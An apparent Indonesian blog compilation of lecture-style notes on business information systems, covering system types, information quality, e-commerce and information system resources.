Sistem Informasi Bisnis (Bagian III)

Kerangka System Informasi Bisnis
  Terdiri dari konsep dasar Sistem Informasi Bisnis, Teknologi Informasi dan Komunikasi, Si-Bis untuk Keunggulan kompetitif, Perencanaan Si-Bis, dan Tantangan & Peluang TI.
Berikut ini penjelasannya :
·   Teknologi Informasi dan Komunikasi
        Adalah Teknologi yang memanfaatkan Teknologi computer,Internet, dan teknologi komunikasi yang dapat memberikan nilai tambah pada kegiatan dan operasional organisasi atau perusahaan.
·   Sistem Informasi Bisnis untuk Keunggulan Bersaing
        Si-Bis dapat diterapkan di internal atau eksternal organisasi.  Di internal organisasi, Si-Bis diterapkan pada fungsi organisasi dan di tingkat manajemen. Di eksternal organisasi bertujuan untuk menjangkau pihak eksternal perusahaan agar lebih efektif. Pihak eksternal bisa berupa organisasi lainnya(untuk EDI) atau pemakai individu termasuk konsumen perusahaan.
·   Perencanaan Sistem Informasi Bisnis
        Perencanaan Si-Bis dapat dikembangkan dengan mtode SDLC atau metode alternative. Metode perencanaan denan SDLC dapat menghasilkan system yang berkualitas, tetapi membutuhkan waktu pengembangan yang lama. Untuk aplikasi yang harus segera dioperasikan, metode ini kurang tepat.
Metode pengembangan alternative merupakan pembelian paket aplikasi, prototype(prototype yang kecil dikembangkan terlebih dahulu dan ditingkatkan terus menerus samapai prototype selesai dikembangkan), End user computing(EUC) dikembangkan oleh pemakai system, Outsourching dikembangkan dan dioperasikan pihak ketiga.
·   Tantangan dan peluang TI
       Adalah pengelolaan etika dalam implementasi TI dan pengelolaan politik TI. Untuk implementasi TI dan perubahan, tidak akan semua level organisasi dapat menerimanya dalam waktu yang cepat dan banyak tantangan yang dihadapi. Namun setelah semua komponen system menerimanya, barulah memnafaatkan Si-Bis untuk keunggulan kompetitif dalam bisnis. Pengendalian merupakan salah satu komponen Si-Bis sehingga perlu dikelola dengan baik agar menghasilkan output yang akurat.
   maka dari itu dengan adanya konsep sistem informasi bisnis, bisa memudahkan para pelaku bisnis untuk lebih berkembang secara lebih lagi dan bisa menentukan langkah apa yang akan diambil agar para pelaku bisnis bisa lebih optimal lagi dalam melayani transaksi yg terjadi di masyarakat seperti definisi sistem informasi bisnis itu sendiri.
Jenis Sistem Informasi Bisnis :
 sistem bisnis elektronik = E-Business, secara online, pembayaran, dan transaksi
 Aturan dasar sistem informasi pada bisnis :
 - Dukungan terhadap proses dengan operasi bisnis
 - Dukungan strategi untuk keunggulan
 Aturan E-Business :
 - Komunikasi
 - Komersial
 - Proses bisnis
 - Layanan
 - Learning
 - Kolaborasi
 - Komunitas
 Sukses E-Business :
 - Biaya
 - Komersial
 - Konten
 - Kenyamanan
 - Konektivitas
 Tipe sistem informasi :
 - Sistem pendukung operasi
 - Sistem pendukung manajemen
 Dasar-dasar sumber daya sistem informasi :
 1. Manusia
 2. Hardware
 3. Software
 4. Data
 5. Jaringan
Sumber :
http://www.Dwi asih rahayu_konsep dasar informasi bisnis.html
http://www.Ferdy’s blog_konsep dasar informasi bisnis.html
http://www.Siti sarah’s note_konsep dasar informasi bisnis.html

Konsep-konsep Dasar sistem Informasi


KONSEP DASAR SISTEM INFORMASI (SI) DALAM BISNIS
A.   Pendahuluan Teknologi informasi, termasuk sistem informasi berbasis internet, memainkan peranan penting dalam bisnis.
Teknologi informasi dapat membantu segala jenis bisnis, meningkatkan efisiensi dan efektifitas proses bisnis mereka, pengambilan keputusan manajerial, dan kerjasama kelompok kerja, hingga dapat memperkuat posisi kopentitif mereka dalam pasar yang cepat sekali berubah. Hal ini berlaku ketika teknologi informasi digunakan untuk mendukung tim pengembangan produk, proses dukungan untuk pelanggan, transaksi e-commerce, atau dalam aktivitas bisnis lainnya. Istilah TI ( Teknologi Informasi ) atau IT ( Information Technology ) yang populer saat ini adalah bagian dari mata rantai panjang dari perkembangan istilah dalam dunia SI ( Sistem Informasi ) atau IS ( Information System ). Istilah TI memang lebih merujuk pada teknologi yang digunakan dalam menyampaikan maupun mengolah informasi, namun pada dasarnya masih merupakan bagian dari sebuah sistem informasi itu sendiri. TI memang secara nota bene lebih mudah dipahami secara umum sebagai pengolahan informasi yang berbasis pada teknologi komputer yang tengah terus berkembang pesat. Sebuah Sistem TI atau selanjutnya akan disebut STI, pada dasarnya dibangun di atas lima tingkatan dalam sebuah piramida STI. Berurutan dari dasar adalah : konsep dasar, teknologi, aplikasi, pengembangan dan pengelolaan.
Kerangka kerja tersebut dipusatkan kedalam 5 area pengetahuan SI berikut ini.
1. Konsep konsep dasar : Konsep dasar keprilakuan, teknis, bisnis, dan manajerial termasuk mengenai berbagai komponen dan peran sistem informasi. Contohnya meliputi konsep sistem informasi dasar yang berasal dari teori sistem umum, atau konsep keunggulan kompetitif yang digunakan untuk mengembangkan aplikasi bisnis teknologi informasi dalam keunggulan kompetitif.
2. Teknologi informasi : Konsep - konsep utama, pengembangan, dan berbagai isu manajemen teknologi informasi yaitu meliputi hardware, software, jaringan, manajemen data, dan banyak teknologi berbasis internet.
3. Aplikasi bisnis : Penggunaan utama dari sistem informasi untuk operasi, manajemen dan keunggulan kompetitif bisnis.
4. Proses pengembangan : Bagaimana para praktisi bisnis dan pakar informasi merencanakan, mengembangkan, dan mengimplementasikan sistem informasi untuk memenuhi peluang bisnis.
5. Tantangan manajemen : Tantangan untuk secara efektif dan etis mengelola teknologi informasi pada tingkat pemakai akhir, perusahaan, dan global dalam bisnis.
C.    Alasan dasar SI pada Bisnis Terdapat 3 alasan mendasar untuk semua aplikasi bisnis dalam teknologi informasi yaitu:
  Dukungan terhadap proses dan operasi bisnis. : Contoh: Kebanyakan toko retail mengunakan CBIS untuk membantu mereka mencatat pembelian pelanggan, menelusuri persediaan, membayar pegawai, membeli barang dagangan baru, serta untuk mengevaluasi trend penjualan.
 Dukungan terhadap pengambilan keputusan oleh pegawai dan manajer. Sistem informasi juga membantu para manajer toko dan praktisi bisnis lainnya untuk membuat keputusan yang lebih baik. Contohnya keputusan mengenai lini barang dagangan apa yang perlu ditambah atau dihentikan, atau mengenai jenis investasi apa yang mereka butuhkan, biasanya di buat setelah sebuah analisis diberikan oleh sistem informasi berbasis komputer. Hal ini tidak hanya mendukung pengambilan keputusan para manajer toko, pembeli dan lainnya, tetapi juga membantu mereka melihat berbagai cara untuk mendapatkan kelebihan dari para peretail lainnya dalam persaingan untuk mendapatkan pelanggan.
 Dukungan strategi untuk keunggulan bersaing : Contohnya manajemen toko mungkin membuat keputusan untuk memasang kios dengan layar sentuh dalam semua toko mereka, yang terhubung dengan situs e-commerce untuk belanja online. E-commerce adalah pembelian dan penjualan, pemasaran dan pelayanan produk, jasa, dan informasi atas berbagi jenis jaringan komputer. Banyak bisnis saat ini menggunakan internet, intranet, ekstranet, dan jaringan lainnya untuk mendukung setiap langkah proses komersial. Hal ini dapat meliputi segala sesuatu dari periklanan, penjualan, dan pemberian dukungan untuk pelanggan, melalui world wide web, hingga keamanan internet, serta mekanisme pembayaran yang memastikan diselesaikannya proses pengiriman dan pembayaran. Contohnya sistem e-commerce meliputi situs web internet untuk penjualan online, akses ekstranet kedatabase persediaan untuk pelanggan besar, dan penggunaan intranet perusahaan oleh tenaga penjualan untuk mengakses catatan pelanggan dalam rangka manajemen hubungan pelanggan
D.   Trend Sistem Informasi Trend yang dominan dalam Sistem Informasi
 Inisiatif dan penanggung jawab tidak lagi dilakukan hanya oleh CIO (Chief Information Officer) sendiri, tapi juga oleh Executive Board;
 Pergeseran peran IS Department dari sebagai Application delivery menjadi System integration dan pengembang infrastruktur;
 Perkembangan internet dan intranet menghasilkan world wide connectivity dan memungkinkan adanya common user interface untuk semua system. Perlunya System Integration
 Perkembangan komputerisasi dalam suatu organisasi yang tidak bersamaan dan terpisah-pisah (scattered);
 Hambatan teknologi yang dapat diatasi oleh berbagai alat bantu (tools) yang dapat dijumpai dengan mudah oleh pemakai. .
E. Jenis-Jenis Sistem Informasi
1. Sistem Pendukung Operasi : Sistem informasi selalu dibutuhkan untuk memproses data yang dihasilkan oleh, dan digunakan dalam operasi bisnis. Sistem pendukung operasi semacam ini menghasilkan berbagai produk informasi yang paling dapat digunakan oleh para manajer. Pemrosesan lebih jauh oleh system informasi manajemen biasanya dibutuhkan. Peran dari sistem pendukung operasi perusahaan bisnis adalah untuk secara efisien memproses transaksi bisnis, mengendalikan proses industrial, mendukung komunikasi dan kerja sama perusahaan, serta memperbaharui database perusahaan.
 Sistem pemrosesan transaksi : Memproses data yang dihasilkan dari transaksi bisnis. Memperbaharui database operasional, dan menghasilkan dokumen bisnis. Contohnya: Sistem titik penjualan (point-of-sale - POS) dibanyak toko retail menggunakan terminal mesin kas untuk secara elektronik menangkap serta memindahkan data penjualan sepanjang saluran telekomunikasi ke pusat computer regional agar dapat diproses segera (Real-time) atau diproses setiap malam (Batch).
 Sistem Pengendalian proses : Mengawasi dan mengendalikan berbagai proses industrial. Contohnya, penyulingan minyak menggunakan sensor elektronik yang dihubungkan ke komputer untuk secara terus menerus mengawasi proses kimia dan membuat penyesuaian instant (real-time) yang mengendalikan proses penyulingan.
  Sistem kerja sama perusahaan : Mendukung komunikasi dan kerja sama tim, kelompok kerja dan perusahaan. Contohnya, para pekerja ahli dalam sebuah tim proyek dapat menggunakan email untuk mengirim dan menerima berbagai pesan elektronik, dan melakukan konferensi video untuk melakukan pertemuan elektronik agar dapat mengoordinasikan berbagai aktivitasnya.
2. Sistem Pendukung Manajemen : Ketika aplikasi sistem informasi berfokus pada penyediaan informasi dan dukungan untuk pengambilan keputusan yang efektif oleh para manajer, aplikasi sistem tersebut akan disebut sebagai Sistem Pendukung Manajemen. Berdasarkan konsep, beberapa jenis utama sistem informasi mendukung berbagai tanggung jawab pengambilan keputusan:
 Sistem Informasi Manajemen : Memberikan informasi dalam bentuk laporan yang telah ditentukan sebelumnya untuk mendukung pengambilan keputusan bisnis. Contohnya, manajer penjualan dapat menggunakan jaringan komputer dan pencari web untuk mendapatkan tampilan instant mengenai hasil penjualan produk produk mereka dan untuk mengakses intranet perusahaan mereka agar bisa mendapatkan laporan analisis penjualan harian yang mengevaluasi penjualan yang dilakukan oleh setiap tenaga penjualan.
 Sistem Pendukung Keputusan (Decision Support System – DSS) : Memberikan dukungan interaktif khusus untuk proses pengambilan keputusan para manajer dan praktisi bisnis lainnya. Contohnya, manajer bagian periklanan dapat menggunakan program spreadsheet untuk melakukan analisis what-if ketika mereka menguji dampak berbagai anggaran iklan atas prediksi penjualan produk produk baru.
 Sistem Informasi Eksekutif (Executive Information System EIS) : Memberi informasi penting dari SIM, DSS dan sumber lainnya yang dibentuk sesuai kebutuhan informasi para eksekutif. Contohnya, para eksekutif puncak dapat menggunakan terminal layar sentuh untuk secara instant melihat teks serta tampilan grafik yang menekankan berbagai area utama kinerja organisasi dan persaingan. 3. Kategori lainnya sistem informasi
 Sistem pakar. Sistem berbasis pengetahuan yang menyediakan saran pakar dan bertindak sebagai konsultan pakar bagi para pemakai. Contoh: Penasihat aplikasi kredit, pengawasan proses dan sistem pemeliharaan diagnosis.
 Sistem manajemen pengetahuan. Sistem berbasis pengetahuan yang mendukung pembuatan, pengaturan, dan peyebaran pengetahuan bisnis dalam perusahaan. Contoh: akses intranet ke praktik praktik bisnis terbaik, strategi proposal penjualan, dan sistem pemecah masalah pelanggan.
 Sistem informasi strategis. Mendukung operasi dan proses manajemen yang memberi perusahaan produk, layanan dan kemampuan strategis sebagai keunggulan kompetitif. Contoh: perdagangan saham online, penelusuran pengiriman, dan sistem web e-commerce.
 Sistem bisnis fungsional. Mendukung berbagai aplikasi operasional dan manajerial atas berbagai fungsi bisnis perusahaan. Contoh: sistem informasi yang mendukung aplikasi akuntansi, keuangan, pemasaran, manajemen operasi, dan manajemen sumber daya manusia.
F. Tantangan Manajerial Teknologi Informasi Kesuksesan dalam lingkungan bisnis yang dinamis saat ini bergantung pada pemaksimalan penggunaan teknologi berbasis internet dan sistem informasi melalui web, untuk memenuhi permintaan yang berubah dari para pelanggan, pemasok, dan mitra bisnis lainnya di pasar global. Tujuan dari banyak perusahaan saat ini adalah untuk memaksimalkan nilai pelanggan dan bisnis mereka dengan menggunakan teknologi informasi untuk mendukung para pegawai mereka dalam mengimplementasikan proses bisnis kooperatif dengan para pelanggan, pemasok, dan pihak lainnya.
1. Keberhasilan Dan Kegagalan dengan TI; Keberhasilan sistem informasi tidak seharusnya diukur hanya melalui efisiensi dalam hal meminimalkan biaya, waktu dan penggunaan sumber daya informasi. Keberhasilan juga harus diukur dari efektivitas teknologi informasi dalam mendukung strategis bisnis organisasi, memungkinkan proses bisnisnya, meningkatkan struktur organisasi dan budaya, serta meningkatkan nilai pelanggan dan bisnis perusahaan. Beberapa tantangan etika yang harus dihadapi oleh para manajer bisnis yang mengimplementasikan aplikasi aplikasi utama teknologi informasi.
2. Peran dan Fungsi Sistem Informasi Peran Sistem Informasi secara umum , yaitu:
 Area fungsional utama dari bisnis yang penting dalam keberhasilan bisnis, seperti fungsi akuntansi, keuangan, manajemen operasional, pemasaran, dan manajemen sumber daya manusia.
 Kontributor penting dalam efisiensi operasional, produktivitas dan moral pegawai, serta layanan dan kepuasan pelanggan.  Sumber utama informasi dan dukungan yang dibutuhkan untuk menyebarluaskan pengambilan keputusan yang efektif oleh para manajer dan praktisi bisnis.
 Bahan yang sangat penting dalam mengembangkan produk dan jasa yang kompetitif, yang memberikan organisasi kelebihan strategis dalam pasar global.
 Peluang berkarier yang dinamis, memuaskan, sarta menantang bagi jutaan pria dan wanita.
 Komponen penting dari sumber daya, infrastruktur, dan kemampuan perusahaan bisnis yang membentuk jaringan. Fungsi Sistem Informasi, yaitu: Teknologi informasi (TI) dan sistem informasi (SI) telah menjadi istilah “keren” dan populer saat ini. Namun, para pemilik usaha yang masih awam terhadap SI mungkin masih belum mengetahui bagaimana kegunaan SI dalam bisnis mereka. Tentu saja sistem informasi yang dimaksud dalam tulisan ini adalah sistem informasi berbasis komputer. Berikut beberapa fungsi yang bisa dilakukan dengan menggunakan sistem informasi dalam proses bisnis:
 Pemrosesan Transaksi : Sebuah toko atau swalayan menjual ratusan jenis barang (item). Toko/swalayan tersebut melayani banyak pembeli tiap harinya sehingga jumlah transaksinya juga banyak. Bayangkan jika pemrosesan transaksi (perhitungan harga) dilakukan secara manual oleh penjual, tentu saja hal tersebut akan memakan waktu yang lama dan peluang terjadinya kesalahan juga cukup besar. Waktu pemrosesan transaksi yang lama dan kesalahan dalam perhitungan harga bisa membuat pelanggan lari ke pesaing. Contoh Point of Sales : Kebanyakan toko dan swalayan saat ini telah memiliki mesin kasir untuk memproses transaksi penjualan. Mesin kasir tersebut umumnya terdiri dari barcode scanner untuk input barang, keyboard, CPU, monitor (ukurannya biasanya lebih kecil dibanding monitor komputer pada umumnya), printer untuk mencetak struk, dan juga perangkat lunak (software) untuk memproses transaksi. Daftar harga setiap barang telah tersimpan dalam basisdata dan dapat diperbarui (update) secara real-time. Perangkat lunak dalam mesin kasir telah diprogram untuk menerima input barcode dari barcode scanner atau kode barang dari keyboard lalu menentukan harga barang tersebut berdasarkan daftar harga pada basisdata. Selanjutnya, perangkat lunak tersebut akan mengalikan harga barang tersebut dengan jumlah pembeliannya dan kemudian akan menghitung total harga penjualan. Setelah pembeli melakukan pembayaran maka struk penjualan akan dicetak dengan printer. Sistem yang dideskripsikan tadi dikenal dengan istilah Point of Sales (POS). Penggunaan POS tentu saja akan mempercepat pemrosesan transaksi dan meminimalkan peluang terjadinya kesalahan dalam perhitungan harga. Selain transaksi penjualan, tentu saja masih banyak terdapat jenis transaksi yang dapat dimudahkan pemrosesannya dengan teknologi informasi seperti transaksi pembelian, pembayaran hutang, pemberian piutang,  Pengawasan : Masih menggunakan ilustrasi toko/swalayan di atas, penggunaan POS juga memungkinkan pemilik usaha untuk mengawasi kinerja pegawainya (terutama kasir). Pemilik usaha dapat mengetahui berapa jumlah uang dan barang yang seharusnya ada saat ini untuk dicocokkan dengan jumlah uang/barang sesungguhnya. Hal tersebut dapat dilakukan karena setiap transaksi yang diproses oleh POS akan tersimpan dalam basisdata. Demikian pula halnya dengan sistem informasi berbasis komputer selain POS, pengawasan dapat dilakukan karena setiap transaksi tersimpan dalam basisdata.
 Pengingat : Sistem informasi berbasis komputer juga dapat digunakan untuk mengingatkan Anda terhadap tagihan yang harus dibayar besok atau jumlah piutang yang belum ditagih. Hal ini dapat dilakukan karena sistem akan menyimpan tagihan hutang atau piutang dalam basisdata dan akan melakukan pengecekan secara otomatis dan periodik apakah batas waktu tagihan sudah hampir terlewati atau belum. Keunggulan dari fungsi pengingat yang dimiliki oleh sistem informasi berbasis komputer adalah fungsi tersebut dijalankan secara otomatis tanpa pengguna harus mengecek sendiri.
 Penggalian Informasi : Dengan disimpannya setiap transaksi dalam basisdata, maka kita dapat menggali informasi dari basisdata transaksi tersebut sesuai dengan kebutuhan kita. Baik laporan detail maupun laporan rekap penjualan harian dapat dihasilkan dari basisdata tersebut. Beberapa informasi lain yang sering dibutuhkan oleh pelaku usaha toko/swalayan adalah barang apa saja yang tingkat perputarannya tinggi, stok barang, jumlah hutang dan piutang, serta masih banyak lagi informasi menarik yang dapat diperoleh dari basisdata transaksi. Format laporan juga bisa disajikan dalam bentuk tabel, grafik, atau bahkan animasi. Informasi-informasi tersebut nantinya dapat digunakan sebagai bahan pengambilan keputusan bisnis. Laporan dapat dihasilkan langsung dari basisdata transaksi sehingga mencermikan kondisi terkini dari operasional bisnis. Semua transaksi juga tercatat dalam bentuk softcopy sehingga dapat ditelusuri secara mudah. Meskipun demikian penerapan sistem informasi berbasis komputer untuk bisnis bukannya tanpa resiko.
G. Komponen Sistem Informasi Dalam Bisnis Konsep sistem dapat membantu memahami:
 Teknologi. Jaringan komputer adalah sistem dari berbagai komponen pemrosesan informasi yang menggunakan berbagai jenis hardware, software, manajemen data dan teknologi jaringan telekomunikasi.
 Aplikasi. Aplikasi bisnis dan perdagangan elektronik melibatkan sistem informasi bisnis yang saling berhubungan satu sama lain.
 Pengembangan. Mengembangkan berbagai cara untuk menggunakan teknologi informasi dalam bisnis meliputi pendesainan komponen-komponen dasar system informasi.
 Manajemen. Mengelola teknologi informasi memiliki penekanan pada kualitas, nilai bisnis yang strategis, dan keamanan sistem informasi organisasi.
H. Sumber Daya Sistem Informasi Sistem informasi terdiri dari 5 sumber daya dasar, yaitu: Manusia, Hardware, Software, Data dan Jaringan. Dibawah ini merupakan contoh Sumber daya sistem informasi dan produknya, meliputi:
 Sumber daya manusia
1) Pemakai akhir merupakan orang orang yang menggunakan sistem informasi atau informasi yang dihasilkan sistem tersebut. Mereka berupa pelanggan, tenaga penjualan, teknisi, staff administrasi, akuntan dan para manajer.
2) Para pakar merupakan orang orang yang mengembangkan dan mengoperasikan sistem informasi. Mereka meliputi sistem analis, pembuat software, operator sistem.
 Sumber daya hardware Dapat digolongkan menjadi: Mesin dan Media.
 Sumber daya software Software sistem, seperti program sistem operasi, yang mengendalikan serta mendukung operasi sistem computer. Software aplikasi, yang memprogram pemrosesan langsung bagi penggunaan tertentu komputer oleh pemakai akhir. Contohnya, program analisis penjualan, program pengolahan kata dan program penggajian. Prosedur, yang mengoperasikan perintah bagi orang orang yang akan menggunakan sistem informasi. Contohnya, prosedur entri data, prosedur untuk memperbaiki kesalahan, prosedur pendistribusian cek gaji.
 Sumber daya data : Termasuk deskripsi produk, catatan pelanggan, file kepegawaian, database persediaan.
 Sumber daya jaringan Media komunikasi, pemroses komunikasi, software untuk akses dan pengendalian jaringan.
I.      Aktivitas sistem informasi
 Input sumber daya data : Memindai secara optikal barang barang dengan pengenal yang menggunakan kode garis.
 Pemrosesan data menjadi informasi : Seperti menghitung pembayaran karyawan, pajak dan potongan gaji lainnya.
 Output produk informasi : Menghasilkan laporan dan tampilan mengenai kinerja penjualan. : Contohnya, seorang manajer penjualan dapat melihat tampilan video untuk memeriksa kinerja seorang tenaga kerja penjualan, menerima pesan suara yang dihasilkan komputer melalui telepon, menerima cetakan dari hasil penjualan bulanan. Penyimpanan sumber daya data
 Penyimpanan adalah komponen sistem dasar sistem informasi. Penyimpanan adalah aktivitas sistem informasi tempat data dan informasi disimpan secara teratur untuk digunakan kemudian.
 Pengendalian kinerja system : Aktivitas sistem informasi yang penting adalah pengendalian kinerja sistem. Sistem informasi harus menghasilkan umpan balik mengenai aktivitas input, pemrosesan, output, dan penyimpanan. Umpan balik ini harus diawasi dan dievaluasi untuk menetapkan apakah sistem dapat memenuhi standar kinerja yang telah ditetapkan. Kemudian, aktivitas system yang tepat harus disesuaikan agar produk informasi yang tepat dihasilkan bagi para pemakai akhir.
J. Mengenali sistem informasi Sebagai praktisi bisnis, harus mampu mengenali komponen dasar sistem informasi. Hal ini berarti harus mampu mengidentifikasi: Sumber daya manusia, hardware, software, data dan jaringan yang digunakan. Jenis produk informasi yang dihasilkan Cara melakukan aktivitas input, output, penyimpanan, dan pengendalian.
K. E-Commerce E-Commerce termasuk salah satu istilah pada ” perdagangan elektronik’ yang berubah sejalan dengan waktu. Awalnya, perdagangan elektronik merupakan aktivitas perdagangan yang memanfaatkan transaksi komersial, misalnya mengirim dokumen komersial seperti pesanan pembelian secara elektronik. Kemudian berkembang menjadi suatu aktivitas yang mempunya istilah yang lebih tepat yaitu “perdagangan web” (pembelian barang dan jasa melalui World Wide Web). Pada awalnya ketika web mulai terkenal di masyarakat pada 1994, banyak jurnalis memperkirakan bahwa e-commerce akan menjadi sebuah sektor ekonomi baru. Sehingga Antara pada era 1998 dan 2000 banyak bisnis di AS dan Eropa mengembangkan situs web perdagangan ini. E-com, atau Electronic Commerce merupakan salah satu teknologi yang berkembang pesat dalam dunia bisnis dan per-internet-an. Penggunaann sistem E-commerce, sebenarnya dapat menguntungkan banyak pihak, baik pihak konsumen, maupun pihak produsen dan penjual (retailer). Misalnya bagi pihak konsumen, menggunakan E-Commerce dapat membuat waktu berbelanja menjadi singkat. Selain itu, harga barang-barang yang dijual melalui E-Commerce biasanya lebih murah dibandingkan dengan harga di toko, karena jalur distribusi dari produsen barang ke pihak penjual lebih singkat dibandingkan dengan toko konvensional. Di Indonesia, sistem E-commerce ini kurang populer, karena banyak pengguna internet yang masih meragukan keamanan sistem ini, dan kurangnya pengetahuan mereka mengenai apa itu E-Commerce yang sebenarnya. Sehingga sampai saat ini, web resmi yang telah menyelenggarakan e-commerce di Indonesia adalah RisTI Shop. Risti, yaitu Divisi Riset dan Teknologi Informasi milik PT. Telkom, menyediakan layanan e-commerce untuk penyediaan informasi produk peralatan telekomunikasi dan non-telekomunikasi. Web ini juga telah mendukung proses transaksi secara online. Selain RisTI, tampaknya belum ada web lain yang menyelenggarakan E-commerce di Indonesia. Padahal, untuk membuat sistem E-commerce, investasi yang dikeluarkan tidak terlalu besar.
Selain itu, lingkup pemasaran produknya bisa jauh lebih luas dan biaya penyelenggaraan serta promosi pada E-commerce juga lebih kecil jika dibandingkan dengan biaya pada sitem toko konvensional.
 Penggunaan media elektronik untuk melakukan perniagaan / perdagangan  Telepon, fax, ATM, handphone, SMS
 Banking: ATM phone banking, internet banking  Secara khusus  Penggunaan Internet untuk melakukan perniagaan
 Disukai karena kenyamanannya
Referensi:
http://Dadang Syafarudin_KONSEP DASAR SISTEM INFORMASI (SI) DALAm BISNIS.html
www.ystostore.com Undang-Undang Nomor 11 Tahun 2008 tentang Informasi dan Transaksi Elektronik


0 comments:

Dasar- Dasar Sistem Informasi Dalam Bisnis (Bagian II)

 

Sistem
* Prosedur àtau suatu jaringan kerja dari prosedur-prosedur yang saling berhubungan, berkumpul bersama-sama untuk melakukan suatu kegiatan atau untuk menyelesaikan suatu sasaran yang tertentu
* komponen atau elemennya -> kumpulan dari elemen-elemen yang berinteraksi untuk mencapai suatu tujuan tertentu.
Karakteristisk Sistem (1)
* Komponen Sistem (components) -> Sistem terdiri dari sejumlah komponen yang saling berinteraksi , bekerja sama membentuk kesatuan
* Batas Sistem (boundary) ->Batas sistem merupakan daerah yang membatasi antara suatu sistem dengan sistem yang lainnya atau dengan lingkungan luarnya (Scope).
* Lingkungan Luar Sistem (environment) -> Lingkungan luar dari suatu sistem adalah apapun diluar batas dari sistem yang mempengaruhi operasi sistem.
Karakteristisk Sistem (2)
Interface -> media penghubung antara satu subsistem dengan subsistem yang lainnya
Input -> energi yang dimasukkan ke dalam sistem
Output -> hasil dari energi yang diolah dan diklasifikasikan menjadi output yang berguna dan sisa pembuangan
* Pengolah Sistem (process) àmerubah masukan menjadi keluaran
* Sasaran Sistem (objective)
* Suatu sistem mempunyai tujuan (goal) atau sasaran (objective).
Klasifikasi System (1)
* Sistem abstrak (abstract system) dan sistem fisik (physical sistem)
* sistem alamiah (natural system) dan sistem buatan manusia (human made system).

Klasifikasi System (2)
* Sistem diklasifikasikan sebagai sistem tertentu (deterministic system) dan sistem tak tentu (probabilistic system). Sistem tertentu beroperasi dengan tingkah laku yang sudah diprediksi. Interaksi diantara bagian-bagiannya dapat diprediksi dengan pasti, sehinggaoutput dari sistem dapat diramalkan.
* Sistem tak tentu adalah sistem yang kondisi masa depannya tidak dapat diprediksi karena mengandung unsur probabilitas.
Klasifikasi System (3)
* Sistem diklasifikasikan sebagai sistem tertutup (closed system) dan sistem terbuka (open system). Sistem tertutup merupakan sistem yang tidak berhubungan dan tidak terpengaruh dengan lingkungan luarnya. Secara teoritis sistem tertutup ini ada, tetapi kenyataannya tidak ada sistem yang benar-benar tertutup, tetapi yang ada hanyalah relatively closed system(secara relatif tertutup, tetapi tidak benar-benar tertutup).

Definisi Informasi
Definisi klasik dari sistem informasi, dimana informasi adalah pengetahuan yang diperoleh dari data. Informasi merupakan data yang diolah menjadi bentuk yang lebih berguna dan lebih berarti bagi yang menerimanya. Sumber informasi adalah data. Data adalah kenyataan yang menggambarkan suatu kejadian-kejadian dan kesatuan nyata.
Karakteristik informasi baik
Information must be pertinent à harus berhubungan dengan urusan dan masalah yang penting bagi penerima informasi
Information must be accurate à harus bebas dari kesalahan-kesalahan dan tidak memiliki bias atau menyesatkan
Information must be timely à harus ada ketika dibutuhkan
Relevan à mempunyai manfaat untuk pemakainya
Nilai Informasi
* manfaat
* Biaya
à bernilai bila manfaatnya lebih efektif dari biaya untuk mendapatkannya. Informasi tidak dapat ditaksir secara pasti nilai keuntungannya (dalam satuan uang), tetapi kita dapat menaksir nilai efektifitas dari informasi tersebut. Pengukuran nilai informasi biasanya dihubungkan dengan analisiscost effectiveness atau costbenefit.
Komponen SI (2)
Input mewakili data yang masuk ke dalam SI
* Model terdiri dari kombinasi prosedur, logika, dan model matematik yang akan memanipulasi data input dan data yang tersimpan di basis data dengan cara yang sudah ditentukan untuk menghas
* Output yang dihasilkan dari SI adalah keluaran yang merupakan informasi yang baik serta bermanfaat dan dokumentasi yang berguna untuk semua tingkatan manajemen semua pemakai sistem.ilkan keluaran yang diinginkan.
Komponen SI (3)
* Teknologi merupakan sebuah tool-box SI, yang digunakan untuk menerima masukan, menjalankan model, menyimpan, dan mengakses data, menghasilkan dan mengirimkan keluaran dan membantu pengendalian dari sistem secara keseluruhan à brainware, software, hardware.
* Basis data (database) merupakan kumpulan dari data yang saling berhubungan satu dengan yang lainnya, tersimpan di perangkat keras komputer dan untuk mengakses atau memanipulasinya digunakan perangkat lunak yang disebut dengan DBMS
Komponen SI (4)
* Banyak hal yang dapat merusak sistem informasi, seperti bencana alam, kecurangan-kecurangan, kegagalan-kegagalan yang terjadi di dalam sistem, ketidakefisienan, sabotase, dan lain sebagainya. Sehingga beberapa pengendalian perlu dirancang dan diterapkan untuk meyakinkan bahwa hal-hal yang dapat merusak sistem dapat dicegah ataupun dapat langsung segera diperbaiki jika seandainya hal-hal yang disebutkan diatas terjadi.
Sifat dari Sistem Informasi
* Pemrosesan informasi yang efektif.
* Manajemen informasi yang efektif..
* Keluwesan menangani suatu macam operasi.
* Kepuasan pemakai dengan mendapatkan manfaat dan puas terhadap sistem informasi.
Kemampuan SI (1)
* Memiliki kecepatan akses tinggi, high-volume, komputasi numerik.
* Menyediakan kecepatan, komunikasi yang akurat dan kolaborasi dengan dan di antara organisasi.
* Menyimpan informasi dalam jumlah besar dan mudah untuk digunakan.
* Akses yang cepat dan tidak mahal untuk mendapatkan informasi, dan mendunia.
Kemampuan SI (2)
* Fasilitas untuk menginterpretasikan sejumlah data yang besar.
* Meningkatkan efektifitas dan efisiensi dari orang-orang yang bekerja dalam kelompok dalam satu tempat atau dalam lokasi yang berbeda, dimana saja.
* Mengotomatisasi proses bisnis dan pekerjaan manual.
Operasi Dasar dari Sistem Informasi
* Mengumpulkan
* Mengolah
* Menyimpan
* Menyebarkan informasi


0 comments:

Pengertian Sistem Informasi (Bagian I)

Pengertian Sistem Informasi Menurut Para Ahli - Secara umum Sistem informasi dapat didefinisikan sebagai suatu sistem di dalam suatu organisasi yang merupakan kombinasi dari orang-orang, fasilitas, teknologi, media prosedur-prosedur dan pengendalian yang ditujukan untuk mendapatkan jalur komunikasi penting, memproses tipe transaksi rutin tertentu, memberi sinyal kepada manajemen dan yang lainnya terhadap kejadian-kejadian internal dan eksternal yang penting dan menyediakan suatu dasar informasi untuk pengambilan keputusan.

Definisi Sistem Informasi - Menurut Mc leod Sistem Informasi merupakan sistem yang mempunyai kemampuan untuk mengumpulkan informasi dari semua sumber dan menggunakan berbagai media untuk menampilkan informasi
Sistem informasi adalah suatu sistem di dalam suatu organisasi yang mempertemukan kebutuhan pengolahan transaksi harian yang mendukung fungsi organisasi yang bersifat manajerial dalam kegiatan strategi dari suatu organisasi untuk dapat menyediakan kepada pihak luar tertentu dengan laporan – laporan yang diperlukan. (Tata Sutabri, S.Kom., MM, 2005:36)
